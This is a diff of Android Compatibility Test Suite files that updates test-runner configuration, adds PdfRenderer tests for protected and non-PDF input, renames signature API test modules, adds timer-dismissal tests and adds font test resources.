@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts.okhttp" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
index 15c5fd5..fb53977 100644
--- a/tests/libcore/wycheproof-bc/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
- android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+ android:label="CTS Libcore Wycheproof Bouncy Castle test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 9c3a50a..ac761f3 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -26,8 +26,6 @@
context of one of the suites, so we have to limit the test
infrastructure to only running the test suites. -->
<option name="test-package" value="android.libcore.cts.wycheproof" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 765c677..5e8058f 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
- android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+ android:label="CTS Libcore Wycheproof Conscrypt test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index b5874fd..0c713b9 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -26,8 +26,6 @@
context of one of the suites, so we have to limit the test
infrastructure to only running the test suites. -->
<option name="test-package" value="android.libcore.cts.wycheproof" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/pdf/res/raw/protected_pdf.pdf b/tests/pdf/res/raw/protected_pdf.pdf
new file mode 100644
index 0000000..e4092b9
--- /dev/null
+++ b/tests/pdf/res/raw/protected_pdf.pdf
Binary files differ
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
index 2f0158e..2ce69d1 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -62,6 +62,7 @@
private static final int A5_PORTRAIT_PRINTSCALING_NONE =
R.raw.a5_portrait_rgbb_1_6_printscaling_none;
private static final int TWO_PAGES = R.raw.two_pages;
+ private static final int PROTECTED_PDF = R.raw.protected_pdf;
private Context mContext;
@@ -76,12 +77,28 @@
}
@Test
- @Ignore("Makes all subsequent tests fail")
public void constructRendererFromNonPDF() throws Exception {
// Open jpg as if it was a PDF
- ParcelFileDescriptor fd = mContext.getResources().openRawResourceFd(R.raw.testimage)
- .getParcelFileDescriptor();
- verifyException(() -> new PdfRenderer(fd), IOException.class);
+ verifyException(() -> createRenderer(R.raw.testimage, mContext), IOException.class);
+ }
+
+ @Test
+ public void constructRendererFromProtectedPDF() throws Exception {
+ verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+ }
+
+ @Test
+ public void rendererRecoversAfterFailure() throws Exception {
+ // Create rendered to prevent lib from being unloaded
+ PdfRenderer firstRenderer = createRenderer(A4_PORTRAIT, mContext);
+
+ verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+
+ // We can create new renderers after we failed to create one
+ PdfRenderer renderer = createRenderer(TWO_PAGES, mContext);
+ renderer.close();
+
+ firstRenderer.close();
}
@Test
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 013cc4d..15fa178 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -30,8 +30,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-signature-common \
- repackaged-legacy-test \
+ repackaged.android.test.base \
repackaged.android.test.runner \
+ repackaged.android.test.mock \
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/android-test-base-27-api/Android.mk
similarity index 87%
rename from tests/signature/api-check/legacy-test-26-api/Android.mk
rename to tests/signature/api-check/android-test-base-27-api/Android.mk
index 699bd0c..1adcb12c 100644
--- a/tests/signature/api-check/legacy-test-26-api/Android.mk
+++ b/tests/signature/api-check/android-test-base-27-api/Android.mk
@@ -16,9 +16,9 @@
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
+LOCAL_PACKAGE_NAME := CtsAndroidTestBase27ApiSignatureTestCases
LOCAL_SIGNATURE_API_FILES := \
- legacy-test-current.api \
+ android-test-base-current.api \
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
similarity index 85%
rename from tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
rename to tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
index 636dfd3..c65bfdf 100644
--- a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
@@ -16,16 +16,16 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.legacy_test_26">
+ package="android.signature.cts.api.android_test_base_26">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="27"/>
<application/>
<instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.legacy_test_26"
- android:label="Legacy Test 26 API Signature Test"/>
+ android:targetPackage="android.signature.cts.api.android_test_base_27"
+ android:label="Android Test Base 27 API Signature Test"/>
</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
similarity index 81%
rename from tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
rename to tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
index ecb3299..c9cbd9a 100644
--- a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
@@ -13,23 +13,23 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
+<configuration description="Config for CTS Android Test Base 27 API Signature test cases">
<option name="config-descriptor:metadata" key="component" value="systems" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
+ <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
+ <option name="test-file-name" value="CtsAndroidTestBase27ApiSignatureTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.legacy_test_26" />
+ <option name="package" value="android.signature.cts.api.android_test_base_27" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
index df69004..b382698 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -19,6 +19,6 @@
LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
LOCAL_SIGNATURE_API_FILES := \
- apache-http-legacy-current.api \
+ apache-http-legacy-minus-current.api \
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index a5e69a9..a9db2b0 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -20,7 +20,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+ <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -29,7 +29,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-minus-current.api" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
index 3473cfd..1ec58d7 100644
--- a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -58,6 +58,9 @@
KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
KNOWN_INACCESSIBLE_CLASSES.add(
"android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
}
private TestResultObserver mResultObserver;
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 71e33ae..abeae54 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -48,12 +48,12 @@
include $(LOCAL_PATH)/build_xml_api_file.mk
-# current legacy-test api, in XML format.
+# current android-test-base api, in XML format.
# ============================================================
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-legacy-test-current-api
-LOCAL_MODULE_STEM := legacy-test-current.api
-LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+LOCAL_MODULE := cts-android-test-base-current-api
+LOCAL_MODULE_STEM := android-test-base-current.api
+LOCAL_SRC_FILES := frameworks/base/test-base/api/android-test-base-current.txt
include $(LOCAL_PATH)/build_xml_api_file.mk
@@ -62,7 +62,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-android-test-mock-current-api
LOCAL_MODULE_STEM := android-test-mock-current.api
-LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+LOCAL_SRC_FILES := frameworks/base/test-mock/api/android-test-mock-current.txt
include $(LOCAL_PATH)/build_xml_api_file.mk
@@ -75,11 +75,28 @@
include $(LOCAL_PATH)/build_xml_api_file.mk
-# current apache-http-legacy api, in XML format.
-# ==============================================
+# current apache-http-legacy minus current api, in text format.
+# =============================================================
+# Removes any classes from the org.apache.http.legacy API description that are
+# also part of the Android API description.
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-apache-http-legacy-current-api
-LOCAL_MODULE_STEM := apache-http-legacy-current.api
-LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
-include $(LOCAL_PATH)/build_xml_api_file.mk
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MODULE := cts-apache-http-legacy-minus-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-minus-current.api
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : \
+ frameworks/base/api/current.txt \
+ external/apache-http/api/apache-http-legacy-current.txt \
+ | $(APICHECK)
+ @echo "Generate unique Apache Http Legacy API file -> $@"
+ @mkdir -p $(dir $@)
+ $(hide) $(APICHECK_COMMAND) -new_api_no_strip \
+ frameworks/base/api/current.txt \
+ external/apache-http/api/apache-http-legacy-current.txt \
+ $@
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index 623973d..e23d4fa 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -15,7 +15,7 @@
CtsSystemCurrentApiSignatureTestCases
CtsAndroidTestMockCurrentApiSignatureTestCases
CtsAndroidTestRunnerCurrentApiSignatureTestCases
-CtsLegacyTest26ApiSignatureTestCases
+CtsAndroidTestBase27ApiSignatureTestCases
CtsApacheHttpLegacyCurrentApiSignatureTestCases
"
else
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
index d469592..8f04d2a 100644
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
@@ -24,8 +24,10 @@
public enum TestcaseType {
DISMISS_ALARM,
+ DISMISS_TIMER,
SET_ALARM,
SET_ALARM_FOR_DISMISSAL,
+ SET_TIMER_FOR_DISMISSAL,
SNOOZE_ALARM,
}
public static final String TESTCASE_TYPE = "Testcase_type";
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
index ede762a..547203e 100644
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
@@ -78,12 +78,21 @@
AlarmClock.ALARM_SEARCH_MODE_NEXT);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM_FOR_DISMISSAL:
case SET_ALARM:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ intent.putExtra(AlarmClock.EXTRA_LENGTH, 10);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index 224c8ab..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -89,11 +89,19 @@
intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM:
case SET_ALARM_FOR_DISMISSAL:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
new file mode 100644
index 0000000..dff8835
--- /dev/null
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
@@ -0,0 +1,11 @@
+package android.alarmclock.cts;
+
+import android.alarmclock.common.Utils;
+
+public class DismissTimerTest extends AlarmClockTestBase {
+
+ public void testAll() throws Exception {
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
+ }
+}
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 462736a..e02e19d 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<activity android:name=".Activities$ActivityOne" />
diff --git a/tests/tests/content/fonts_readme.txt b/tests/tests/content/fonts_readme.txt
new file mode 100644
index 0000000..f0de576
--- /dev/null
+++ b/tests/tests/content/fonts_readme.txt
@@ -0,0 +1,15 @@
+All fonts included in this project follow the below copyright and licensing:
+
+Copyright (C) 2017 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_font_collection.ttc b/tests/tests/content/res/font/sample_font_collection.ttc
new file mode 100644
index 0000000..9252f3d
--- /dev/null
+++ b/tests/tests/content/res/font/sample_font_collection.ttc
Binary files differ
diff --git a/tests/tests/content/res/font/sample_ttc_family.xml b/tests/tests/content/res/font/sample_ttc_family.xml
new file mode 100644
index 0000000..ae9b63f
--- /dev/null
+++ b/tests/tests/content/res/font/sample_ttc_family.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:fontStyle="normal" android:font="@font/sample_font_collection" android:ttcIndex="0" />
+ <font android:fontStyle="italic" android:font="@font/sample_font_collection" android:ttcIndex="1" />
+</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_variation_settings_family1.xml b/tests/tests/content/res/font/sample_variation_settings_family1.xml
new file mode 100644
index 0000000..c719fa9
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family1.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 100.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/sample_variation_settings_family2.xml b/tests/tests/content/res/font/sample_variation_settings_family2.xml
new file mode 100644
index 0000000..94d4d79
--- /dev/null
+++ b/tests/tests/content/res/font/sample_variation_settings_family2.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/variable_width_dash_font" android:fontVariationSettings="'wdth' 500.0" />
+</font-family>
diff --git a/tests/tests/content/res/font/variable_width_dash_font.ttf b/tests/tests/content/res/font/variable_width_dash_font.ttf
new file mode 100644
index 0000000..f7a256a
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font.ttf
Binary files differ
diff --git a/tests/tests/content/res/font/variable_width_dash_font_source.ttx b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
new file mode 100644
index 0000000..401fe0f
--- /dev/null
+++ b/tests/tests/content/res/font/variable_width_dash_font_source.ttx
@@ -0,0 +1,241 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.9">
+
+ <GlyphOrder>
+ <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="dash"/>
+ </GlyphOrder>
+
+ <head>
+ <!-- Most of this table will be recalculated by the compiler -->
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x81ee73dd"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Wed Sep 9 08:01:17 2015"/>
+ <modified value="Thu Mar 9 22:22:31 2017"/>
+ <xMin value="0"/>
+ <yMin value="0"/>
+ <xMax value="0"/>
+ <yMax value="0"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <indexToLocFormat value="0"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="0x00010000"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <advanceWidthMax value="500"/>
+ <minLeftSideBearing value="0"/>
+ <minRightSideBearing value="0"/>
+ <xMaxExtent value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ <numberOfHMetrics value="1"/>
+ </hhea>
+
+ <maxp>
+ <!-- Most of this table will be recalculated by the compiler -->
+ <tableVersion value="0x10000"/>
+ <numGlyphs value="2"/>
+ <maxPoints value="0"/>
+ <maxContours value="0"/>
+ <maxCompositePoints value="0"/>
+ <maxCompositeContours value="0"/>
+ <maxZones value="2"/>
+ <maxTwilightPoints value="12"/>
+ <maxStorage value="28"/>
+ <maxFunctionDefs value="119"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="61"/>
+ <maxSizeOfInstructions value="2967"/>
+ <maxComponentElements value="0"/>
+ <maxComponentDepth value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="97"/>
+ <usLastCharIndex value="97"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="dash" width="500" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x2D" name="dash"/><!-- ASCII DASH -->
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+
+ <!-- The xMin, yMin, xMax and yMax values
+ will be recalculated by the compiler. -->
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0">
+ <contour>
+ <pt x="100" y="-500" on="1"/>
+ <pt x="900" y="-500" on="1"/>
+ <pt x="900" y="1000" on="1"/>
+ <pt x="100" y="1000" on="1"/>
+ </contour>
+ <instructions/>
+ </TTGlyph>
+
+ <TTGlyph name="dash">
+ <contour>
+ <pt x="0" y="200" on="1"/>
+ <pt x="100" y="200" on="1"/>
+ <pt x="100" y="300" on="1"/>
+ <pt x="0" y="300" on="1"/>
+ </contour>
+ <instructions/>
+ </TTGlyph>
+ </glyf>
+
+ <name>
+ <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+ MultiAxisFontTest-Regular
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFont Test
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ MultiAxisFontTest-Regular
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-200"/>
+ <underlineThickness value="20"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+ <fvar>
+ <Axis>
+ <AxisTag>wdth</AxisTag>
+ <MinValue>100.0</MinValue>
+ <DefaultValue>100.0</DefaultValue>
+ <MaxValue>500.0</MaxValue>
+ <AxisNameID>256</AxisNameID>
+ </Axis>
+ </fvar>
+
+ <gvar>
+ <glyphVariations glyph="dash">
+ <tuple>
+ <coord axis="wdth" value="1.0"/>
+ <delta pt="0" x="0" y="0"/>
+ <delta pt="1" x="400" y="0"/>
+ <delta pt="2" x="400" y="0"/>
+ <delta pt="3" x="0" y="0"/>
+ <delta pt="4" x="-200" y="0"/>
+ <delta pt="5" x="200" y="0"/>
+ </tuple>
+ </glyphVariations>
+ </gvar>
+
+</ttFont>
diff --git a/tests/tests/content/res/mipmap/icon_background.png b/tests/tests/content/res/mipmap/icon_background.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/content/res/mipmap/icon_background.png
Binary files differ
